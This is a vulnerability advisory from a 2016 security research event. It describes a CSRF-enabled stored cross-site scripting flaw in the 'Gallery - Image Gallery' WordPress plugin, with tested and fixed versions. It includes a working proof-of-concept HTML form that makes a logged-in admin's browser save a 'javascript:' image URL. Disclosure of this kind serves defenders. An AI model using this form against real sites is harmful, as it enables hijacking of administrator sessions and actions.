Sipke Mellema, July 2016

Stored Cross-Site Scripting in Gallery - Image Gallery WordPress Plugin

Abstract

A persistent Cross-Site Scripting vulnerability was found in the Gallery - Image Gallery plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0015

Tested versions

This issue was successfully tested on the Gallery - Image Gallery WordPress Plugin version 1.9.65.

Fix

This issue is resolved in Gallery - Image Gallery WordPress Plugin version 2.0.6.

Introduction

Gallery image is the best gallery plugin to use if you want to be original with your website. A persistent Cross-Site Scripting vulnerability was found in the Gallery - Image Gallery plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Details

The issue exists because the Gallery image does not protect against CSRF attacks for the requests to edit gallery images. This makes it possible to change gallery image URLs to JavaScript schemas. The JavaScript will be saved. Every time a user clicks on the gallery image the JavaScript will run (Persistent Cross-Site Scripting).

Proof of Concept

Have an authenticated admin visit a webpage with the following form:

<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=gallerys_huge_it_gallery&id=2&task=apply&huge_it_nonce=b37a25b33d" method="POST">
<input type="hidden" name="changedvalues" value="11" />
<input type="hidden" name="name" value="New&#32;gallery" />
<input type="hidden" name="imagess" value="" />
<input type="hidden" name="order&#95;by&#95;11" value="1" />
<input type="hidden" name="imagess11" value="Foo" />
<input type="hidden" name="titleimage11" value="test" />
<input type="hidden" name="im&#95;description11" value="asd" />
<input type="hidden" name="sl&#95;url11" value="javascript&#58;alert&#40;1&#41;" />
<input type="hidden" name="sl&#95;link&#95;target11" value="" />
<input type="hidden" name="like&#95;11" value="9" />
<input type="hidden" name="dislike&#95;11" value="0" />
<input type="hidden" name="name" value="New&#32;gallery" />
<input type="hidden" name="huge&#95;it&#95;sl&#95;effects" value="5" />
<input type="hidden" name="sl&#95;width" value="600" />
<input type="hidden" name="sl&#95;height" value="1" />
<input type="hidden" name="gallery&#95;list&#95;effects&#95;s" value="cubeH" />
<input type="hidden" name="sl&#95;position" value="center" />
<input type="hidden" name="display&#95;type" value="2" />
<input type="hidden" name="content&#95;per&#95;page" value="5" />
<input type="hidden" name="autoslide" value="off" />
<input type="hidden" name="autoslide" value="on" />
<input type="hidden" name="pause&#95;on&#95;hover" value="off" />
<input type="hidden" name="pause&#95;on&#95;hover" value="on" />
<input type="hidden" name="sl&#95;pausetime" value="4000" />
<input type="hidden" name="sl&#95;changespeed" value="1000" />
<input type="hidden" name="rating" value="dislike" />
<input type="hidden" name="task" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

This will change the URL for the image (the image source) to javascript:alert(1). If a user clicks on the image name, the JavaScript will run.